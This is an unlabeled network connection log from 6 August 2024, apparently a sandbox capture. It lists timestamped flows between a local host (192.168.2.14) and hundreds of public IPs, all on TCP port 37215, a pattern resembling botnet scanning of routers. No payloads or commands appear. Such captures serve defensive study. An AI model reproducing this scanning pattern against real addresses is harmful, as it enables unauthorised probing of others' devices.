Aug 6, 2024 08:32:57.912961006 CEST	37215	47784	197.115.196.137	192.168.2.14
Aug 6, 2024 08:32:57.913001060 CEST	47784	37215	192.168.2.14	197.115.196.137
Aug 6, 2024 08:32:57.913506031 CEST	37215	43946	197.141.127.19	192.168.2.14
Aug 6, 2024 08:32:57.913547039 CEST	37215	43508	41.238.196.59	192.168.2.14
Aug 6, 2024 08:32:57.913551092 CEST	43946	37215	192.168.2.14	197.141.127.19
Aug 6, 2024 08:32:57.913614988 CEST	43508	37215	192.168.2.14	41.238.196.59
Aug 6, 2024 08:32:57.916680098 CEST	37215	53660	41.83.20.241	192.168.2.14
Aug 6, 2024 08:32:57.916699886 CEST	37215	43414	197.175.48.74	192.168.2.14
Aug 6, 2024 08:32:57.916708946 CEST	37215	56804	156.39.190.188	192.168.2.14
Aug 6, 2024 08:32:57.916727066 CEST	37215	48158	41.124.13.62	192.168.2.14
Aug 6, 2024 08:32:57.916737080 CEST	37215	34588	156.176.4.128	192.168.2.14
Aug 6, 2024 08:32:57.916760921 CEST	37215	35050	197.202.174.153	192.168.2.14
Aug 6, 2024 08:32:57.916769981 CEST	37215	42780	197.151.199.82	192.168.2.14
Aug 6, 2024 08:32:57.916870117 CEST	37215	34420	156.105.22.195	192.168.2.14
Aug 6, 2024 08:32:57.916878939 CEST	37215	38470	197.190.71.95	192.168.2.14
Aug 6, 2024 08:32:57.916888952 CEST	37215	42356	197.3.222.193	192.168.2.14
Aug 6, 2024 08:32:57.916897058 CEST	37215	41446	156.88.39.9	192.168.2.14
Aug 6, 2024 08:32:57.916907072 CEST	37215	55068	41.189.168.243	192.168.2.14
Aug 6, 2024 08:32:57.916914940 CEST	37215	54338	41.158.14.71	192.168.2.14
Aug 6, 2024 08:32:57.916934013 CEST	37215	44138	156.240.242.22	192.168.2.14
Aug 6, 2024 08:32:57.916943073 CEST	37215	42962	156.46.53.169	192.168.2.14
Aug 6, 2024 08:32:57.916953087 CEST	37215	46490	197.148.25.151	192.168.2.14
Aug 6, 2024 08:32:57.916961908 CEST	37215	52014	41.97.122.146	192.168.2.14
Aug 6, 2024 08:32:57.916971922 CEST	37215	45940	197.153.83.250	192.168.2.14
Aug 6, 2024 08:32:57.917038918 CEST	37215	44448	41.175.71.81	192.168.2.14
Aug 6, 2024 08:32:57.917048931 CEST	37215	51184	156.12.183.66	192.168.2.14
Aug 6, 2024 08:32:57.917059898 CEST	37215	37384	41.113.154.68	192.168.2.14
Aug 6, 2024 08:32:57.917071104 CEST	37215	33972	156.84.121.52	192.168.2.14
Aug 6, 2024 08:32:57.917081118 CEST	37215	45542	156.9.49.106	192.168.2.14
Aug 6, 2024 08:32:57.917090893 CEST	37215	40174	156.115.169.96	192.168.2.14
Aug 6, 2024 08:32:57.922739029 CEST	37215	45238	156.255.60.96	192.168.2.14
Aug 6, 2024 08:32:57.922791958 CEST	45238	37215	192.168.2.14	156.255.60.96
Aug 6, 2024 08:32:57.924381971 CEST	37215	50118	197.236.195.48	192.168.2.14
Aug 6, 2024 08:32:57.924392939 CEST	37215	52110	156.3.234.130	192.168.2.14
Aug 6, 2024 08:32:57.924403906 CEST	37215	58266	156.206.209.219	192.168.2.14
Aug 6, 2024 08:32:57.924413919 CEST	37215	34696	197.239.85.60	192.168.2.14
Aug 6, 2024 08:32:57.924424887 CEST	37215	56982	197.26.44.71	192.168.2.14
Aug 6, 2024 08:32:57.924433947 CEST	37215	54044	156.132.223.150	192.168.2.14
Aug 6, 2024 08:32:57.924443960 CEST	37215	41682	197.99.255.71	192.168.2.14
Aug 6, 2024 08:32:57.924454927 CEST	37215	55596	197.243.175.21	192.168.2.14
Aug 6, 2024 08:32:57.924464941 CEST	37215	34840	156.115.124.112	192.168.2.14
Aug 6, 2024 08:32:57.924474955 CEST	37215	39546	156.71.179.176	192.168.2.14
Aug 6, 2024 08:32:57.924503088 CEST	37215	42130	41.93.67.128	192.168.2.14
Aug 6, 2024 08:32:57.924515009 CEST	37215	43938	41.126.48.149	192.168.2.14
Aug 6, 2024 08:32:57.924526930 CEST	37215	59852	156.161.239.9	192.168.2.14
Aug 6, 2024 08:32:57.924536943 CEST	37215	48688	197.243.147.108	192.168.2.14
Aug 6, 2024 08:32:57.924546957 CEST	37215	54012	197.49.113.26	192.168.2.14
Aug 6, 2024 08:32:57.924556971 CEST	37215	33674	41.132.244.189	192.168.2.14
Aug 6, 2024 08:32:57.924566984 CEST	37215	35842	156.146.161.140	192.168.2.14
Aug 6, 2024 08:32:57.924576044 CEST	37215	44420	41.76.72.232	192.168.2.14
Aug 6, 2024 08:32:57.924586058 CEST	37215	50514	156.191.143.79	192.168.2.14
Aug 6, 2024 08:32:57.924596071 CEST	37215	53542	156.38.36.98	192.168.2.14
Aug 6, 2024 08:32:57.924606085 CEST	37215	46238	41.249.148.178	192.168.2.14
Aug 6, 2024 08:32:57.924614906 CEST	37215	44004	156.90.142.34	192.168.2.14
Aug 6, 2024 08:32:57.924624920 CEST	37215	53460	156.229.253.94	192.168.2.14
Aug 6, 2024 08:32:57.924634933 CEST	37215	51716	156.110.107.187	192.168.2.14
Aug 6, 2024 08:32:57.924645901 CEST	37215	45084	156.120.203.129	192.168.2.14
Aug 6, 2024 08:32:57.924655914 CEST	37215	60190	197.246.49.210	192.168.2.14
Aug 6, 2024 08:32:57.924665928 CEST	37215	57380	156.68.100.122	192.168.2.14
Aug 6, 2024 08:32:57.924675941 CEST	37215	54652	197.129.93.172	192.168.2.14
Aug 6, 2024 08:32:57.924686909 CEST	37215	46206	41.241.249.10	192.168.2.14
Aug 6, 2024 08:32:57.924696922 CEST	37215	57988	156.109.160.83	192.168.2.14
Aug 6, 2024 08:32:57.924715996 CEST	37215	48888	41.126.237.119	192.168.2.14
Aug 6, 2024 08:32:57.924727917 CEST	37215	33664	197.248.74.54	192.168.2.14
Aug 6, 2024 08:32:57.924737930 CEST	37215	57790	197.85.104.216	192.168.2.14
Aug 6, 2024 08:32:57.924748898 CEST	37215	59960	41.64.162.163	192.168.2.14
Aug 6, 2024 08:32:57.924758911 CEST	37215	33886	156.111.178.221	192.168.2.14
Aug 6, 2024 08:32:57.924770117 CEST	37215	52120	197.17.109.18	192.168.2.14
Aug 6, 2024 08:32:57.924779892 CEST	37215	53542	41.39.210.77	192.168.2.14
Aug 6, 2024 08:32:57.924792051 CEST	37215	56026	41.71.67.34	192.168.2.14
Aug 6, 2024 08:32:57.924803972 CEST	37215	48114	156.99.69.120	192.168.2.14
Aug 6, 2024 08:32:57.924814939 CEST	37215	36802	197.94.142.206	192.168.2.14
Aug 6, 2024 08:32:57.924824953 CEST	37215	51634	156.31.218.172	192.168.2.14
Aug 6, 2024 08:32:57.924834013 CEST	37215	47636	41.233.198.210	192.168.2.14
Aug 6, 2024 08:32:57.924844027 CEST	37215	52128	197.123.250.251	192.168.2.14
Aug 6, 2024 08:32:57.924854994 CEST	37215	56116	41.169.1.160	192.168.2.14
Aug 6, 2024 08:32:57.924865007 CEST	37215	33614	41.195.3.220	192.168.2.14
Aug 6, 2024 08:32:57.924874067 CEST	37215	33256	41.240.222.87	192.168.2.14
Aug 6, 2024 08:32:57.924885035 CEST	37215	42420	41.81.28.179	192.168.2.14
Aug 6, 2024 08:32:57.924895048 CEST	37215	53406	41.25.197.239	192.168.2.14
Aug 6, 2024 08:32:57.924905062 CEST	37215	44474	156.195.255.108	192.168.2.14
Aug 6, 2024 08:32:57.924915075 CEST	37215	37202	197.14.65.126	192.168.2.14
Aug 6, 2024 08:32:57.924925089 CEST	37215	34230	197.88.121.9	192.168.2.14
Aug 6, 2024 08:32:57.924936056 CEST	37215	41892	197.30.136.119	192.168.2.14
Aug 6, 2024 08:32:57.924947023 CEST	37215	60692	197.39.213.224	192.168.2.14
Aug 6, 2024 08:32:57.924957037 CEST	37215	50910	41.136.180.243	192.168.2.14
Aug 6, 2024 08:32:57.924967051 CEST	37215	49538	156.55.98.88	192.168.2.14
Aug 6, 2024 08:32:57.924977064 CEST	37215	55994	197.126.162.69	192.168.2.14
Aug 6, 2024 08:32:57.924987078 CEST	37215	37012	197.25.36.107	192.168.2.14
Aug 6, 2024 08:32:57.924997091 CEST	37215	45156	156.168.2.129	192.168.2.14
Aug 6, 2024 08:32:57.925007105 CEST	37215	59742	41.243.106.194	192.168.2.14
Aug 6, 2024 08:32:57.925015926 CEST	37215	35802	156.165.159.159	192.168.2.14
Aug 6, 2024 08:32:57.925025940 CEST	37215	47292	41.22.10.251	192.168.2.14
Aug 6, 2024 08:32:57.925036907 CEST	37215	48732	197.135.201.145	192.168.2.14
Aug 6, 2024 08:32:57.925046921 CEST	37215	50348	197.201.240.82	192.168.2.14
Aug 6, 2024 08:32:57.925055981 CEST	37215	59274	156.141.181.78	192.168.2.14
Aug 6, 2024 08:32:57.925065994 CEST	37215	34172	41.130.36.148	192.168.2.14
Aug 6, 2024 08:32:57.925076008 CEST	37215	41196	156.239.82.241	192.168.2.14
Aug 6, 2024 08:32:57.925086021 CEST	37215	33062	41.247.194.250	192.168.2.14
Aug 6, 2024 08:32:57.925096989 CEST	37215	35300	197.146.41.152	192.168.2.14
Aug 6, 2024 08:32:57.925107002 CEST	37215	40578	41.84.43.12	192.168.2.14
Aug 6, 2024 08:32:57.925117016 CEST	37215	36414	156.110.250.215	192.168.2.14
Aug 6, 2024 08:32:57.925127029 CEST	37215	54398	41.216.206.238	192.168.2.14
Aug 6, 2024 08:32:57.925136089 CEST	37215	39016	156.127.251.19	192.168.2.14
Aug 6, 2024 08:32:57.925148010 CEST	37215	48510	197.24.106.202	192.168.2.14
Aug 6, 2024 08:32:57.925159931 CEST	37215	60082	41.61.105.166	192.168.2.14
Aug 6, 2024 08:32:57.925168991 CEST	37215	39764	156.120.149.131	192.168.2.14
Aug 6, 2024 08:32:57.925179005 CEST	37215	41426	156.91.72.96	192.168.2.14
Aug 6, 2024 08:32:57.925252914 CEST	41426	37215	192.168.2.14	156.91.72.96
Aug 6, 2024 08:32:57.925415993 CEST	37215	54370	197.63.193.232	192.168.2.14
Aug 6, 2024 08:32:57.925524950 CEST	54370	37215	192.168.2.14	197.63.193.232
Aug 6, 2024 08:32:57.925857067 CEST	37215	58398	197.104.24.129	192.168.2.14
Aug 6, 2024 08:32:57.925898075 CEST	58398	37215	192.168.2.14	197.104.24.129
Aug 6, 2024 08:32:57.926116943 CEST	37215	55552	156.214.108.255	192.168.2.14
Aug 6, 2024 08:32:57.926156998 CEST	55552	37215	192.168.2.14	156.214.108.255
Aug 6, 2024 08:32:57.926681042 CEST	37215	53398	197.75.73.10	192.168.2.14
Aug 6, 2024 08:32:57.926718950 CEST	53398	37215	192.168.2.14	197.75.73.10
Aug 6, 2024 08:32:57.927103043 CEST	37215	39178	41.138.87.130	192.168.2.14
Aug 6, 2024 08:32:57.927143097 CEST	39178	37215	192.168.2.14	41.138.87.130
Aug 6, 2024 08:32:57.927557945 CEST	37215	36504	156.204.167.229	192.168.2.14
Aug 6, 2024 08:32:57.927611113 CEST	36504	37215	192.168.2.14	156.204.167.229
Aug 6, 2024 08:32:57.928623915 CEST	37215	57434	41.21.190.34	192.168.2.14
Aug 6, 2024 08:32:57.928667068 CEST	57434	37215	192.168.2.14	41.21.190.34
Aug 6, 2024 08:32:57.928755999 CEST	37215	38342	41.246.8.105	192.168.2.14
Aug 6, 2024 08:32:57.928808928 CEST	38342	37215	192.168.2.14	41.246.8.105
Aug 6, 2024 08:32:57.929332018 CEST	37215	34954	156.57.27.188	192.168.2.14
Aug 6, 2024 08:32:57.929394960 CEST	34954	37215	192.168.2.14	156.57.27.188
Aug 6, 2024 08:32:57.929677963 CEST	37215	35670	41.87.115.224	192.168.2.14
Aug 6, 2024 08:32:57.929721117 CEST	35670	37215	192.168.2.14	41.87.115.224
Aug 6, 2024 08:32:57.930145979 CEST	37215	54680	156.78.201.98	192.168.2.14
Aug 6, 2024 08:32:57.930190086 CEST	54680	37215	192.168.2.14	156.78.201.98
Aug 6, 2024 08:32:57.930610895 CEST	37215	59788	156.233.189.37	192.168.2.14
Aug 6, 2024 08:32:57.930646896 CEST	59788	37215	192.168.2.14	156.233.189.37
Aug 6, 2024 08:32:57.931068897 CEST	37215	41076	197.202.46.32	192.168.2.14
Aug 6, 2024 08:32:57.931134939 CEST	41076	37215	192.168.2.14	197.202.46.32
Aug 6, 2024 08:32:57.931443930 CEST	37215	39676	41.191.113.153	192.168.2.14
Aug 6, 2024 08:32:57.931498051 CEST	39676	37215	192.168.2.14	41.191.113.153
Aug 6, 2024 08:32:57.931848049 CEST	37215	55712	156.63.7.9	192.168.2.14
Aug 6, 2024 08:32:57.931899071 CEST	55712	37215	192.168.2.14	156.63.7.9
Aug 6, 2024 08:32:57.932383060 CEST	37215	48678	197.104.64.187	192.168.2.14
Aug 6, 2024 08:32:57.932424068 CEST	48678	37215	192.168.2.14	197.104.64.187
Aug 6, 2024 08:32:57.933300018 CEST	37215	48012	41.150.227.160	192.168.2.14
Aug 6, 2024 08:32:57.933341980 CEST	48012	37215	192.168.2.14	41.150.227.160
Aug 6, 2024 08:32:57.934372902 CEST	37215	57628	41.164.3.200	192.168.2.14
Aug 6, 2024 08:32:57.934410095 CEST	57628	37215	192.168.2.14	41.164.3.200
Aug 6, 2024 08:32:57.935648918 CEST	37215	45120	41.137.49.124	192.168.2.14
Aug 6, 2024 08:32:57.935774088 CEST	45120	37215	192.168.2.14	41.137.49.124
Aug 6, 2024 08:32:57.936963081 CEST	37215	44308	156.163.154.143	192.168.2.14
Aug 6, 2024 08:32:57.937026978 CEST	44308	37215	192.168.2.14	156.163.154.143
Aug 6, 2024 08:32:57.937772036 CEST	37215	54548	41.34.50.198	192.168.2.14
Aug 6, 2024 08:32:57.937813044 CEST	54548	37215	192.168.2.14	41.34.50.198
Aug 6, 2024 08:32:57.938525915 CEST	37215	35962	197.178.231.23	192.168.2.14
Aug 6, 2024 08:32:57.938575029 CEST	35962	37215	192.168.2.14	197.178.231.23
Aug 6, 2024 08:32:57.939291954 CEST	37215	43354	156.201.149.51	192.168.2.14
Aug 6, 2024 08:32:57.939337015 CEST	43354	37215	192.168.2.14	156.201.149.51
Aug 6, 2024 08:32:57.939841986 CEST	37215	34222	197.147.67.118	192.168.2.14
Aug 6, 2024 08:32:57.939878941 CEST	34222	37215	192.168.2.14	197.147.67.118
Aug 6, 2024 08:32:57.940387011 CEST	37215	48014	41.45.249.113	192.168.2.14
Aug 6, 2024 08:32:57.940419912 CEST	48014	37215	192.168.2.14	41.45.249.113
Aug 6, 2024 08:32:57.941119909 CEST	37215	44844	156.32.123.200	192.168.2.14
Aug 6, 2024 08:32:57.941158056 CEST	44844	37215	192.168.2.14	156.32.123.200
Aug 6, 2024 08:32:57.941548109 CEST	37215	47384	156.159.84.59	192.168.2.14
Aug 6, 2024 08:32:57.941589117 CEST	47384	37215	192.168.2.14	156.159.84.59
Aug 6, 2024 08:32:57.942034960 CEST	37215	34456	41.199.180.220	192.168.2.14
Aug 6, 2024 08:32:57.942080021 CEST	34456	37215	192.168.2.14	41.199.180.220
Aug 6, 2024 08:32:57.942657948 CEST	37215	60564	156.183.46.173	192.168.2.14
Aug 6, 2024 08:32:57.942693949 CEST	60564	37215	192.168.2.14	156.183.46.173
Aug 6, 2024 08:32:57.943483114 CEST	37215	46728	156.203.201.64	192.168.2.14
Aug 6, 2024 08:32:57.943523884 CEST	46728	37215	192.168.2.14	156.203.201.64
Aug 6, 2024 08:32:57.944188118 CEST	37215	34212	156.129.31.110	192.168.2.14
Aug 6, 2024 08:32:57.944243908 CEST	34212	37215	192.168.2.14	156.129.31.110
Aug 6, 2024 08:32:57.945240974 CEST	37215	39182	156.220.29.16	192.168.2.14
Aug 6, 2024 08:32:57.945281029 CEST	39182	37215	192.168.2.14	156.220.29.16
Aug 6, 2024 08:32:57.946952105 CEST	37215	58262	197.39.222.191	192.168.2.14
Aug 6, 2024 08:32:57.946991920 CEST	58262	37215	192.168.2.14	197.39.222.191
Aug 6, 2024 08:32:57.947994947 CEST	37215	39786	41.64.229.92	192.168.2.14
Aug 6, 2024 08:32:57.948060036 CEST	39786	37215	192.168.2.14	41.64.229.92
Aug 6, 2024 08:32:57.949134111 CEST	37215	45370	156.61.31.26	192.168.2.14
Aug 6, 2024 08:32:57.949215889 CEST	45370	37215	192.168.2.14	156.61.31.26
Aug 6, 2024 08:32:57.949829102 CEST	37215	46630	41.179.116.217	192.168.2.14
Aug 6, 2024 08:32:57.949893951 CEST	46630	37215	192.168.2.14	41.179.116.217
Aug 6, 2024 08:32:57.950505972 CEST	37215	36780	41.234.139.223	192.168.2.14
Aug 6, 2024 08:32:57.950572014 CEST	36780	37215	192.168.2.14	41.234.139.223
Aug 6, 2024 08:32:57.950706005 CEST	37215	60386	156.167.74.1	192.168.2.14
Aug 6, 2024 08:32:57.950756073 CEST	60386	37215	192.168.2.14	156.167.74.1
Aug 6, 2024 08:32:57.951261997 CEST	37215	43216	41.142.161.8	192.168.2.14
Aug 6, 2024 08:32:57.951312065 CEST	43216	37215	192.168.2.14	41.142.161.8
Aug 6, 2024 08:32:57.951853037 CEST	37215	41002	156.227.117.100	192.168.2.14
Aug 6, 2024 08:32:57.951905012 CEST	41002	37215	192.168.2.14	156.227.117.100
Aug 6, 2024 08:32:57.952480078 CEST	37215	33284	197.129.180.128	192.168.2.14
Aug 6, 2024 08:32:57.952533007 CEST	33284	37215	192.168.2.14	197.129.180.128
Aug 6, 2024 08:32:57.952991962 CEST	37215	56028	156.224.207.229	192.168.2.14
Aug 6, 2024 08:32:57.953035116 CEST	56028	37215	192.168.2.14	156.224.207.229
Aug 6, 2024 08:32:57.953540087 CEST	37215	39286	41.205.118.26	192.168.2.14
Aug 6, 2024 08:32:57.953587055 CEST	39286	37215	192.168.2.14	41.205.118.26
Aug 6, 2024 08:32:57.954400063 CEST	37215	47262	41.88.164.69	192.168.2.14
Aug 6, 2024 08:32:57.954458952 CEST	47262	37215	192.168.2.14	41.88.164.69
Aug 6, 2024 08:32:57.955065966 CEST	37215	49388	41.69.62.137	192.168.2.14
Aug 6, 2024 08:32:57.955113888 CEST	49388	37215	192.168.2.14	41.69.62.137
Aug 6, 2024 08:32:57.955688953 CEST	37215	57514	156.0.126.61	192.168.2.14
Aug 6, 2024 08:32:57.955733061 CEST	57514	37215	192.168.2.14	156.0.126.61
Aug 6, 2024 08:32:57.956446886 CEST	37215	40614	156.55.85.117	192.168.2.14
Aug 6, 2024 08:32:57.956495047 CEST	40614	37215	192.168.2.14	156.55.85.117
Aug 6, 2024 08:32:57.957029104 CEST	37215	38584	156.222.74.186	192.168.2.14
Aug 6, 2024 08:32:57.957067966 CEST	38584	37215	192.168.2.14	156.222.74.186
Aug 6, 2024 08:32:57.957777023 CEST	37215	37660	41.51.78.43	192.168.2.14
Aug 6, 2024 08:32:57.957825899 CEST	37660	37215	192.168.2.14	41.51.78.43
Aug 6, 2024 08:32:57.958225965 CEST	37215	45032	41.60.167.28	192.168.2.14
Aug 6, 2024 08:32:57.958273888 CEST	45032	37215	192.168.2.14	41.60.167.28
Aug 6, 2024 08:32:57.958823919 CEST	37215	59098	156.132.197.53	192.168.2.14
Aug 6, 2024 08:32:57.958949089 CEST	59098	37215	192.168.2.14	156.132.197.53
Aug 6, 2024 08:32:57.959296942 CEST	37215	38736	156.252.2.121	192.168.2.14
Aug 6, 2024 08:32:57.959462881 CEST	38736	37215	192.168.2.14	156.252.2.121
Aug 6, 2024 08:32:57.959711075 CEST	37215	46138	156.90.27.13	192.168.2.14
Aug 6, 2024 08:32:57.959765911 CEST	46138	37215	192.168.2.14	156.90.27.13
Aug 6, 2024 08:32:57.960294008 CEST	37215	41534	41.242.100.27	192.168.2.14
Aug 6, 2024 08:32:57.960340023 CEST	41534	37215	192.168.2.14	41.242.100.27
Aug 6, 2024 08:32:57.960690022 CEST	37215	46112	197.204.204.27	192.168.2.14
Aug 6, 2024 08:32:57.960743904 CEST	46112	37215	192.168.2.14	197.204.204.27
Aug 6, 2024 08:32:57.961038113 CEST	37215	40212	156.107.107.14	192.168.2.14
Aug 6, 2024 08:32:57.961077929 CEST	40212	37215	192.168.2.14	156.107.107.14
Aug 6, 2024 08:32:57.961340904 CEST	37215	47502	41.195.75.21	192.168.2.14
Aug 6, 2024 08:32:57.961379051 CEST	47502	37215	192.168.2.14	41.195.75.21
Aug 6, 2024 08:32:57.961992979 CEST	37215	60728	197.28.182.242	192.168.2.14
Aug 6, 2024 08:32:57.962038994 CEST	60728	37215	192.168.2.14	197.28.182.242
Aug 6, 2024 08:32:57.962408066 CEST	37215	36488	156.232.20.55	192.168.2.14
Aug 6, 2024 08:32:57.962486029 CEST	36488	37215	192.168.2.14	156.232.20.55
Aug 6, 2024 08:32:57.963175058 CEST	37215	44944	197.94.98.140	192.168.2.14
Aug 6, 2024 08:32:57.963221073 CEST	44944	37215	192.168.2.14	197.94.98.140
Aug 6, 2024 08:32:57.963691950 CEST	37215	57986	41.116.61.218	192.168.2.14
Aug 6, 2024 08:32:57.963767052 CEST	57986	37215	192.168.2.14	41.116.61.218
Aug 6, 2024 08:32:57.964359999 CEST	37215	36616	156.181.110.86	192.168.2.14
Aug 6, 2024 08:32:57.964428902 CEST	36616	37215	192.168.2.14	156.181.110.86
Aug 6, 2024 08:32:57.965056896 CEST	37215	55356	41.42.85.198	192.168.2.14
Aug 6, 2024 08:32:57.965105057 CEST	55356	37215	192.168.2.14	41.42.85.198
Aug 6, 2024 08:32:57.965601921 CEST	37215	58948	197.197.24.70	192.168.2.14
Aug 6, 2024 08:32:57.965658903 CEST	58948	37215	192.168.2.14	197.197.24.70
Aug 6, 2024 08:32:57.965966940 CEST	37215	48462	197.229.89.107	192.168.2.14
Aug 6, 2024 08:32:57.966017962 CEST	48462	37215	192.168.2.14	197.229.89.107
Aug 6, 2024 08:32:57.966388941 CEST	37215	39582	156.5.53.84	192.168.2.14
Aug 6, 2024 08:32:57.966455936 CEST	39582	37215	192.168.2.14	156.5.53.84
Aug 6, 2024 08:32:57.967391014 CEST	37215	36612	156.178.121.45	192.168.2.14
Aug 6, 2024 08:32:57.967442036 CEST	36612	37215	192.168.2.14	156.178.121.45
Aug 6, 2024 08:32:57.967520952 CEST	37215	50344	156.83.69.150	192.168.2.14
Aug 6, 2024 08:32:57.967565060 CEST	50344	37215	192.168.2.14	156.83.69.150
Aug 6, 2024 08:32:57.968206882 CEST	37215	42172	156.213.90.130	192.168.2.14
Aug 6, 2024 08:32:57.968255997 CEST	42172	37215	192.168.2.14	156.213.90.130
Aug 6, 2024 08:32:57.968921900 CEST	37215	54348	41.99.158.148	192.168.2.14
Aug 6, 2024 08:32:57.968976974 CEST	54348	37215	192.168.2.14	41.99.158.148
Aug 6, 2024 08:32:57.969588995 CEST	37215	39952	197.116.99.16	192.168.2.14
Aug 6, 2024 08:32:57.969649076 CEST	39952	37215	192.168.2.14	197.116.99.16
Aug 6, 2024 08:32:57.970123053 CEST	37215	40776	156.198.249.101	192.168.2.14
Aug 6, 2024 08:32:57.970165014 CEST	40776	37215	192.168.2.14	156.198.249.101
Aug 6, 2024 08:32:57.970743895 CEST	37215	57848	197.141.165.224	192.168.2.14
Aug 6, 2024 08:32:57.970793009 CEST	57848	37215	192.168.2.14	197.141.165.224
Aug 6, 2024 08:32:57.971391916 CEST	37215	57598	41.3.58.68	192.168.2.14
Aug 6, 2024 08:32:57.971440077 CEST	57598	37215	192.168.2.14	41.3.58.68
Aug 6, 2024 08:32:57.972095013 CEST	37215	55670	156.209.183.183	192.168.2.14
Aug 6, 2024 08:32:57.972146034 CEST	55670	37215	192.168.2.14	156.209.183.183
Aug 6, 2024 08:32:57.973138094 CEST	37215	54302	156.246.176.160	192.168.2.14
Aug 6, 2024 08:32:57.973237991 CEST	54302	37215	192.168.2.14	156.246.176.160
Aug 6, 2024 08:32:57.973824978 CEST	37215	41104	197.205.58.249	192.168.2.14
Aug 6, 2024 08:32:57.973896980 CEST	41104	37215	192.168.2.14	197.205.58.249
Aug 6, 2024 08:32:57.974344969 CEST	37215	37664	41.235.232.193	192.168.2.14
Aug 6, 2024 08:32:57.974385023 CEST	37664	37215	192.168.2.14	41.235.232.193
Aug 6, 2024 08:32:57.974814892 CEST	37215	39942	41.47.235.221	192.168.2.14
Aug 6, 2024 08:32:57.974864960 CEST	39942	37215	192.168.2.14	41.47.235.221
Aug 6, 2024 08:32:57.975814104 CEST	37215	36130	197.203.208.42	192.168.2.14
Aug 6, 2024 08:32:57.975879908 CEST	36130	37215	192.168.2.14	197.203.208.42
Aug 6, 2024 08:32:57.976653099 CEST	37215	50062	156.146.138.56	192.168.2.14
Aug 6, 2024 08:32:57.976697922 CEST	50062	37215	192.168.2.14	156.146.138.56
Aug 6, 2024 08:32:57.977457047 CEST	37215	48692	156.28.212.86	192.168.2.14
Aug 6, 2024 08:32:57.977499008 CEST	48692	37215	192.168.2.14	156.28.212.86
Aug 6, 2024 08:32:57.978290081 CEST	37215	57866	41.34.23.164	192.168.2.14
Aug 6, 2024 08:32:57.978368998 CEST	57866	37215	192.168.2.14	41.34.23.164
Aug 6, 2024 08:32:57.979114056 CEST	37215	60280	156.135.80.58	192.168.2.14
Aug 6, 2024 08:32:57.979152918 CEST	60280	37215	192.168.2.14	156.135.80.58
Aug 6, 2024 08:32:57.979863882 CEST	37215	49386	197.183.103.104	192.168.2.14
Aug 6, 2024 08:32:57.979904890 CEST	49386	37215	192.168.2.14	197.183.103.104
Aug 6, 2024 08:32:57.980448008 CEST	37215	50136	197.150.29.200	192.168.2.14
Aug 6, 2024 08:32:57.980494022 CEST	50136	37215	192.168.2.14	197.150.29.200
Aug 6, 2024 08:32:57.980895042 CEST	37215	59602	41.244.209.174	192.168.2.14
Aug 6, 2024 08:32:57.980964899 CEST	59602	37215	192.168.2.14	41.244.209.174
Aug 6, 2024 08:32:57.981338024 CEST	37215	48692	156.94.250.60	192.168.2.14
Aug 6, 2024 08:32:57.981379986 CEST	48692	37215	192.168.2.14	156.94.250.60
Aug 6, 2024 08:32:57.981795073 CEST	37215	45468	156.95.131.110	192.168.2.14
Aug 6, 2024 08:32:57.981841087 CEST	45468	37215	192.168.2.14	156.95.131.110
Aug 6, 2024 08:32:57.982157946 CEST	37215	53578	41.164.18.227	192.168.2.14
Aug 6, 2024 08:32:57.982197046 CEST	53578	37215	192.168.2.14	41.164.18.227
Aug 6, 2024 08:32:57.982795000 CEST	37215	44276	197.31.205.62	192.168.2.14
Aug 6, 2024 08:32:57.982834101 CEST	44276	37215	192.168.2.14	197.31.205.62
Aug 6, 2024 08:32:57.983017921 CEST	37215	37536	41.241.47.76	192.168.2.14
Aug 6, 2024 08:32:57.983056068 CEST	37536	37215	192.168.2.14	41.241.47.76
Aug 6, 2024 08:32:57.983494997 CEST	37215	49442	197.210.183.23	192.168.2.14
Aug 6, 2024 08:32:57.983537912 CEST	49442	37215	192.168.2.14	197.210.183.23
Aug 6, 2024 08:32:57.983999014 CEST	37215	47382	197.21.237.243	192.168.2.14
Aug 6, 2024 08:32:57.984054089 CEST	47382	37215	192.168.2.14	197.21.237.243
Aug 6, 2024 08:32:57.984317064 CEST	37215	43418	156.45.179.57	192.168.2.14
Aug 6, 2024 08:32:57.984359026 CEST	43418	37215	192.168.2.14	156.45.179.57
Aug 6, 2024 08:32:57.984726906 CEST	37215	48038	41.210.226.180	192.168.2.14
Aug 6, 2024 08:32:57.984765053 CEST	48038	37215	192.168.2.14	41.210.226.180
Aug 6, 2024 08:32:57.985436916 CEST	37215	33034	41.162.103.68	192.168.2.14
Aug 6, 2024 08:32:57.985477924 CEST	33034	37215	192.168.2.14	41.162.103.68
Aug 6, 2024 08:32:57.986963034 CEST	37215	51418	197.144.79.247	192.168.2.14
Aug 6, 2024 08:32:57.987004995 CEST	51418	37215	192.168.2.14	197.144.79.247
Aug 6, 2024 08:32:57.987185001 CEST	37215	58534	197.203.159.212	192.168.2.14
Aug 6, 2024 08:32:57.987221003 CEST	58534	37215	192.168.2.14	197.203.159.212
Aug 6, 2024 08:32:57.988275051 CEST	37215	56890	41.242.140.238	192.168.2.14
Aug 6, 2024 08:32:57.988378048 CEST	56890	37215	192.168.2.14	41.242.140.238
Aug 6, 2024 08:32:57.989006996 CEST	37215	53988	156.99.80.91	192.168.2.14
Aug 6, 2024 08:32:57.989053965 CEST	53988	37215	192.168.2.14	156.99.80.91
Aug 6, 2024 08:32:57.989486933 CEST	37215	43390	41.217.111.255	192.168.2.14
Aug 6, 2024 08:32:57.989526033 CEST	43390	37215	192.168.2.14	41.217.111.255
Aug 6, 2024 08:32:57.989979982 CEST	37215	49242	41.48.241.76	192.168.2.14
Aug 6, 2024 08:32:57.990020990 CEST	49242	37215	192.168.2.14	41.48.241.76
Aug 6, 2024 08:32:57.990488052 CEST	37215	44562	41.96.167.241	192.168.2.14
Aug 6, 2024 08:32:57.990531921 CEST	44562	37215	192.168.2.14	41.96.167.241
Aug 6, 2024 08:32:57.991003990 CEST	37215	47992	41.113.66.102	192.168.2.14
Aug 6, 2024 08:32:57.991050005 CEST	47992	37215	192.168.2.14	41.113.66.102
Aug 6, 2024 08:32:57.991333961 CEST	37215	52086	41.187.38.232	192.168.2.14
Aug 6, 2024 08:32:57.991373062 CEST	52086	37215	192.168.2.14	41.187.38.232
Aug 6, 2024 08:32:57.991633892 CEST	37215	41270	197.211.102.57	192.168.2.14
Aug 6, 2024 08:32:57.991683960 CEST	41270	37215	192.168.2.14	197.211.102.57
Aug 6, 2024 08:32:57.992007971 CEST	37215	37478	41.168.55.54	192.168.2.14
Aug 6, 2024 08:32:57.992053032 CEST	37478	37215	192.168.2.14	41.168.55.54
Aug 6, 2024 08:32:57.992358923 CEST	37215	55594	197.129.188.53	192.168.2.14
